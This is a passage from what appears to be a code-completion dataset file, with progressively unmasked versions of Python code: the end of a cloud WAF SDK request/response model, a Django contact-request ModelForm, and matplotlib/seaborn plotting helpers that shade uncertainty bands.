None:\n return _map\n\n result = dict()\n if self.domains is not None:\n result['Domains'] = self.domains\n if self.rule_group_id is not None:\n result['RuleGroupId'] = self.rule_group_id\n if self.waf_version is not None:\n result['WafVersion'] = self.waf_version\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domains') is not None:\n self.domains = m.get('Domains')\n if m.get('RuleGroupId') is not None:\n self.rule_group_id = m.get('RuleGroupId')\n if m.get('WafVersion') is not None:\n self.waf_version = m.get('WafVersion')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass SetDomainRuleGroupResponseBody(TeaModel):\n def __init__(self, request_id=None):\n self.request_id = request_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(SetDomainRuleGroupResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass SetDomainRuleGroupResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: SetDomainRuleGroupResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(SetDomainRuleGroupResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = SetDomainRuleGroupResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\n", "step-ids": [ 426, 429, 443, 447, 577 ] }
[ 426, 429, 443, 447, 577 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class ContactRequestForm(ModelForm): class Meta: model = ContactRequest <|reserved_special_token_1|> from django.forms import ModelForm from contactform.models import ContactRequest class ContactRequestForm(ModelForm): class Meta: model = ContactRequest
flexible
{ "blob_id": "97637e2114254b41ef6e777e60b3ddab1d4622e8", "index": 4606, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass ContactRequestForm(ModelForm):\n\n\n class Meta:\n model = ContactRequest\n", "step-3": "from django.forms import ModelForm\nfrom contactform.models import ContactRequest\n\n\nclass ContactRequestForm(ModelForm):\n\n\n class Meta:\n model = ContactRequest\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def set_sns_standard(context='paper', font_scale=1.4, linewidth=1.5, font= 'serif'): rc_params = {'lines.linewidth': linewidth, 'text.usetex': True} sns.set(style='ticks', font=font, palette='Set1', context=context, font_scale=font_scale, rc=rc_params) <|reserved_special_token_0|> def plot_function_w_uc(axe, x, function, par_uc, **kwargs): """Plots a function with shaded area for uncertainties. :axe: subfigure to plot on :x: x-values to plot on :function: function to plot, should be a function with full support for uncertainties :par_uc: parameters using uncertainties.correlated_values """ result_uc = function(x, *par_uc) result_n = uc.unumpy.nominal_values(result_uc) result_std = uc.unumpy.std_devs(result_uc) result_upper = result_n + result_std result_lower = result_n - result_std line = axe.plot(x, result_n, **kwargs) color = line[0].get_color() axe.fill_between(x, result_lower, result_upper, color=color, alpha=0.3) <|reserved_special_token_1|> <|reserved_special_token_0|> def set_sns_standard(context='paper', font_scale=1.4, linewidth=1.5, font= 'serif'): rc_params = {'lines.linewidth': linewidth, 'text.usetex': True} sns.set(style='ticks', font=font, palette='Set1', context=context, font_scale=font_scale, rc=rc_params) def remove_ticks(axe, top=True, right=True): if right: plt.tick_params(axis='y', which='both', left='on', right='off', labelright='off') if top: plt.tick_params(axis='x', which='both', bottom='on', top='off', labelbottom='on') def plot_function_w_uc(axe, x, function, par_uc, **kwargs): """Plots a function with shaded area for uncertainties. :axe: subfigure to plot on :x: x-values to plot on :function: function to plot, should be a function with full support for uncertainties :par_uc: parameters using uncertainties.correlated_values """ result_uc = function(x, *par_uc) result_n = uc.unumpy.nominal_values(result_uc) result_std = uc.unumpy.std_devs(result_uc) result_upper = result_n + result_std result_lower = result_n - result_std line = axe.plot(x, result_n, **kwargs) color = line[0].get_color() axe.fill_between(x, result_lower, result_upper, color=color, alpha=0.3) <|reserved_special_token_1|> import matplotlib.pyplot as plt import seaborn as sns import uncertainties as uc def set_sns_standard(context='paper', font_scale=1.4, linewidth=1.5, font= 'serif'): rc_params = {'lines.linewidth': linewidth, 'text.usetex': True} sns.set(style='ticks', font=font, palette='Set1', context=context, font_scale=font_scale, rc=rc_params) def remove_ticks(axe, top=True, right=True): if right: plt.tick_params(axis='y', which='both', left='on', right='off', labelright='off') if top: plt.tick_params(axis='x', which='both', bottom='on', top='off', labelbottom='on') def plot_function_w_uc(axe, x, function, par_uc, **kwargs): """Plots a function with shaded area for uncertainties. :axe: subfigure to plot on :x: x-values to plot on :function: function to plot, should be a function with full support for uncertainties :par_uc: parameters using uncertainties.correlated_values """ result_uc = function(x, *par_uc) result_n = uc.unumpy.nominal_values(result_uc) result_std = uc.unumpy.std_devs(result_uc) result_upper = result_n + result_std result_lower = result_n - result_std line = axe.plot(x, result_n, **kwargs) color = line[0].get_color() axe.fill_between(x, result_lower, result_upper, color=color, alpha=0.3) <|reserved_special_token_1|> #!/usr/bin/python3 ################################################################################ # Usefull functions to shorten some of my plotting routine ##################### ################################################################################ import matplotlib.pyplot as plt import seaborn as sns import uncertainties as uc def set_sns_standard(context = 'paper', font_scale=1.4, linewidth=1.5, font='serif'): rc_params = {'lines.linewidth':linewidth, 'text.usetex':True} sns.set(style='ticks', font=font, palette='Set1', context=context, font_scale=font_scale, rc=rc_params) def remove_ticks(axe, top=True, right=True): if right: plt.tick_params( axis='y', # changes apply to the x-axis which='both', # both major and minor ticks are affected left='on', # ticks along the bottom edge are off right='off', # ticks along the top edge are off labelright='off') # labels along the bottom edge are off if top: plt.tick_params( axis='x', # changes apply to the x-axis which='both', # both major and minor ticks are affected bottom='on', # ticks along the bottom edge are off top='off', # ticks along the top edge are off labelbottom='on') # labels along the bottom edge are off def plot_function_w_uc(axe, x, function, par_uc, **kwargs): """Plots a function with shaded area for uncertainties. :axe: subfigure to plot on :x: x-values to plot on :function: function to plot, should be a function with full support for uncertainties :par_uc: parameters using uncertainties.correlated_values """ result_uc = function(x, *par_uc) result_n = uc.unumpy.nominal_values(result_uc) result_std = uc.unumpy.std_devs(result_uc) result_upper = result_n + result_std result_lower = result_n - result_std line = axe.plot(x, result_n, **kwargs) color = line[0].get_color() #???? axe.fill_between(x, result_lower, result_upper, color=color, alpha=.3)
flexible
{ "blob_id": "b935c48210b1965ebb0de78384f279b71fc17d5d", "index": 7044, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef set_sns_standard(context='paper', font_scale=1.4, linewidth=1.5, font=\n 'serif'):\n rc_params = {'lines.linewidth': linewidth, 'text.usetex': True}\n sns.set(style='ticks', font=font, palette='Set1', context=context,\n font_scale=font_scale, rc=rc_params)\n\n\n<mask token>\n\n\ndef plot_function_w_uc(axe, x, function, par_uc, **kwargs):\n \"\"\"Plots a function with shaded area for uncertainties.\n\n :axe: subfigure to plot on\n :x: x-values to plot on\n :function: function to plot, should be a function with full \n support for uncertainties\n :par_uc: parameters using uncertainties.correlated_values\n \"\"\"\n result_uc = function(x, *par_uc)\n result_n = uc.unumpy.nominal_values(result_uc)\n result_std = uc.unumpy.std_devs(result_uc)\n result_upper = result_n + result_std\n result_lower = result_n - result_std\n line = axe.plot(x, result_n, **kwargs)\n color = line[0].get_color()\n axe.fill_between(x, result_lower, result_upper, color=color, alpha=0.3)\n", "step-3": "<mask token>\n\n\ndef set_sns_standard(context='paper', font_scale=1.4, linewidth=1.5, font=\n 'serif'):\n rc_params = {'lines.linewidth': linewidth, 'text.usetex': True}\n sns.set(style='ticks', font=font, palette='Set1', context=context,\n font_scale=font_scale, rc=rc_params)\n\n\ndef remove_ticks(axe, top=True, right=True):\n if right:\n plt.tick_params(axis='y', which='both', left='on', right='off',\n labelright='off')\n if top:\n plt.tick_params(axis='x', which='both', bottom='on', top='off',\n labelbottom='on')\n\n\ndef plot_function_w_uc(axe, x, function, par_uc, **kwargs):\n \"\"\"Plots a function with shaded area for uncertainties.\n\n :axe: subfigure to plot on\n :x: x-values to plot on\n :function: function to plot, should be a function with full \n support for uncertainties\n :par_uc: parameters using uncertainties.correlated_values\n \"\"\"\n result_uc = function(x, *par_uc)\n result_n = uc.unumpy.nominal_values(result_uc)\n result_std = uc.unumpy.std_devs(result_uc)\n result_upper = result_n + result_std\n result_lower = result_n - result_std\n line = axe.plot(x, result_n, **kwargs)\n color = line[0].get_color()\n axe.fill_between(x, result_lower, result_upper, color=color, alpha=0.3)\n", "step-4": "import matplotlib.pyplot as plt\nimport seaborn as sns\nimport uncertainties as uc\n\n\ndef set_sns_standard(context='paper', font_scale=1.4, linewidth=1.5, font=\n 'serif'):\n rc_params = {'lines.linewidth': linewidth, 'text.usetex': True}\n sns.set(style='ticks', font=font, palette='Set1', context=context,\n font_scale=font_scale, rc=rc_params)\n\n\ndef remove_ticks(axe, top=True, right=True):\n if right:\n plt.tick_params(axis='y', which='both', left='on', right='off',\n labelright='off')\n if top:\n plt.tick_params(axis='x', which='both', bottom='on', top='off',\n labelbottom='on')\n\n\ndef plot_function_w_uc(axe, x, function, par_uc, **kwargs):\n \"\"\"Plots a function with shaded area for uncertainties.\n\n :axe: subfigure to plot on\n :x: x-values to plot on\n :function: function to plot, should be a function with full \n support for uncertainties\n :par_uc: parameters using uncertainties.correlated_values\n \"\"\"\n result_uc = function(x, *par_uc)\n result_n = uc.unumpy.nominal_values(result_uc)\n result_std = uc.unumpy.std_devs(result_uc)\n result_upper = result_n + result_std\n result_lower = result_n - result_std\n line = axe.plot(x, result_n, **kwargs)\n color = line[0].get_color()\n axe.fill_between(x, result_lower, result_upper, color=color, alpha=0.3)\n", "step-5": "#!/usr/bin/python3\n\n\n################################################################################\n# Usefull functions to shorten some of my plotting routine #####################\n################################################################################\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport uncertainties as uc\n\ndef set_sns_standard(context = 'paper', font_scale=1.4, linewidth=1.5, font='serif'):\n rc_params = {'lines.linewidth':linewidth, 'text.usetex':True}\n sns.set(style='ticks', font=font, palette='Set1', context=context, font_scale=font_scale, rc=rc_params)\n\ndef remove_ticks(axe, top=True, right=True):\n if right:\n plt.tick_params(\n axis='y', # changes apply to the x-axis\n which='both', # both major and minor ticks are affected\n left='on', # ticks along the bottom edge are off\n right='off', # ticks along the top edge are off\n labelright='off') # labels along the bottom edge are off\n if top:\n plt.tick_params(\n axis='x', # changes apply to the x-axis\n which='both', # both major and minor ticks are affected\n bottom='on', # ticks along the bottom edge are off\n top='off', # ticks along the top edge are off\n labelbottom='on') # labels along the bottom edge are off\n\ndef plot_function_w_uc(axe, x, function, par_uc, **kwargs):\n \"\"\"Plots a function with shaded area for uncertainties.\n\n :axe: subfigure to plot on\n :x: x-values to plot on\n :function: function to plot, should be a function with full \n support for uncertainties\n :par_uc: parameters using uncertainties.correlated_values\n \"\"\"\n result_uc = function(x, *par_uc)\n result_n = uc.unumpy.nominal_values(result_uc)\n result_std = uc.unumpy.std_devs(result_uc)\n result_upper = result_n + result_std\n result_lower = result_n - result_std\n\n line = axe.plot(x, result_n, **kwargs)\n color = line[0].get_color() #????\n \n axe.fill_between(x, result_lower, result_upper, color=color, alpha=.3)\n", "step-ids": [ 0, 2, 3, 4, 5 ] }
[ 0, 2, 3, 4, 5 ]